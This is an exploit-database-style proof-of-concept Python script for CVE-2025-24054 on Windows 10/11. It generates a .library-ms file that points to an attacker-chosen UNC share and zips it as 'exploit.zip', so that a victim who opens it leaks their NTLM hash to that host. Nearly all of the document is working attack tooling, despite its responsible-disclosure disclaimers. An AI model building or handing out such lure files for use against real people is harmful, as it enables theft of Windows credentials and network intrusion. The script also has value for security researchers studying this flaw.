# Exploit Title: windows 10/11 - NTLM Hash Disclosure Spoofing
# Date: 2025-10-06
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.microsoft.com
# Software Link: N/A
# Version: Not applicable (this is a generic Windows library file behavior)
# Tested on: Windows 10 (x64) / Windows 11 (x64) (lab environment)
# CVE: CVE-2025-24054
# Description:
# A proof-of-concept that generates a .library-ms XML file pointing to a network
# share (UNC). When opened/imported on Windows, the library points to the specified
# UNC path.
#
# Notes:
# - This PoC is provided for responsible disclosure only. Do not test against
# live/production websites or networks without explicit written permission.
# - Attach exactly one exploit file per email (this file).
# - Include the .library-ms (or ZIP containing it) as an attachment, plus this header block.
#!/usr/bin/env python3
import argparse
import ipaddress
import os
import re
import sys
import tempfile
import zipfile
import shutil
from pathlib import Path
# Very small hostname check (keeps things simple)
_HOSTNAME_RE = re.compile(
r"^(?:[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?\.)*[A-Za-z0-9\-]{1,63}$"
)
# simple sanitizer: allow only a limited charset for base filenames
_FILENAME_RE = re.compile(r"^[A-Za-z0-9._-]{1,128}$")
def is_valid_target(value: str) -> bool:
"""
Return True if value looks like an IP address, a hostname, or a UNC path.
This is intentionally permissive — it's only to catch obvious typos.
"""
if value.startswith("\\\\") or value.startswith("//"):
# Minimal UNC sanity: ensure there's at least \\host\share (two components)
parts = re.split(r"[\\/]+", value.strip("\\/"))
return len(parts) >= 2 and all(parts[:2])
try:
ipaddress.ip_address(value)
return True
except ValueError:
pass
if _HOSTNAME_RE.match(value):
return True
return False
def build_library_xml(target: str) -> str:
"""
Build the XML content for the .library-ms file.
If the user supplies a bare host/IP, the script uses a share called 'shared'
(matching the original behavior).
"""
if target.startswith("\\\\") or target.startswith("//"):
# normalize forward slashes to backslashes (if any)
url = target.replace("/", "\\")
else:
url = f"\\\\{target}\\shared"
# Return a plain, minimal XML structure (no additional payloads)
return f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>{url}</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
"""
def write_zip_with_lib(xml_content: str, lib_name: str, zip_path: Path) -> None:
"""
Write the XML to a temporary .library-ms file and add it into a zip.
"""
tmpdir = Path(tempfile.mkdtemp(prefix="libgen_"))
try:
tmp_lib = tmpdir / lib_name
tmp_lib.write_text(xml_content, encoding="utf-8")
with zipfile.ZipFile(zip_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf:
# place the file at the root of the zip
zf.write(tmp_lib, arcname=lib_name)
finally:
# robust cleanup
try:
shutil.rmtree(tmpdir)
except Exception:
pass
def sanitize_basename(name: str) -> str:
"""
Ensure the provided base filename is a short safe token (no path separators).
Raises ValueError on invalid names.
"""
if not name:
raise ValueError("Empty filename")
if os.path.sep in name or (os.path.altsep and os.path.altsep in name):
raise ValueError("Filename must not contain path separators")
if not _FILENAME_RE.match(name):
raise ValueError(
"Filename contains invalid characters. Allowed: letters, numbers, dot, underscore, hyphen"
)
return name
def main():
parser = argparse.ArgumentParser(
description="Generate a .library-ms inside a zip (keep it responsible)."
)
parser.add_argument(
"--file",
"-f",
default=None,
help="Base filename (without extension). If omitted, interactive prompt is used.",
)
parser.add_argument(
"--target",
"-t",
default=None,
help="Target IP, hostname or UNC (e.g. 192.168.1.162 or \\\\host\\share).",
)
parser.add_argument(
"--zip",
"-z",
default="exploit.zip",
help="Output zip filename (default: exploit.zip).",
)
parser.add_argument(
"--out",
"-o",
default=".",
help="Output directory (default: current directory).",
)
parser.add_argument(
"--dry-run",
action="store_true",
help="Print the .library-ms content and exit without creating files.",
)
parser.add_argument(
"--force",
action="store_true",
help="Overwrite output zip if it already exists (use with care).",
)
args = parser.parse_args()
# Interactive fallback if needed
if not args.file:
try:
args.file = input("Enter your file name (base, without extension): ").strip()
except EOFError:
print("No file name provided.", file=sys.stderr)
sys.exit(1)
if not args.target:
try:
args.target = input(
"Enter IP or host (e.g. 192.168.1.162 or \\\\host\\share): "
).strip()
except EOFError:
print("No target provided.", file=sys.stderr)
sys.exit(1)
# sanitize filename
try:
safe_base = sanitize_basename(args.file)
except ValueError as e:
print(f"ERROR: invalid file name: {e}", file=sys.stderr)
sys.exit(2)
if not args.target or not is_valid_target(args.target):
print(
"ERROR: target does not look like a valid IP, hostname, or UNC path.",
file=sys.stderr,
)
sys.exit(2)
lib_filename = f"{safe_base}.library-ms"
xml = build_library_xml(args.target)
# Dry-run: show the content and exit
if args.dry_run:
print("=== DRY RUN: .library-ms content ===")
print(xml)
print("=== END ===")
print(f"(Would create {lib_filename} inside {args.zip} in {args.out})")
return
out_dir = Path(args.out).resolve()
out_dir.mkdir(parents=True, exist_ok=True)
zip_path = out_dir / args.zip
if zip_path.exists() and not args.force:
print(
f"ERROR: {zip_path} already exists. Use --force to overwrite.",
file=sys.stderr,
)
sys.exit(3)
# small reminder about authorization
print("Reminder: run tests only against systems you are authorized to test.")
write_zip_with_lib(xml, lib_filename, zip_path)
print(f"Done. Created {zip_path} containing {lib_filename} -> points to {args.target}")
if __name__ == "__main__":
main()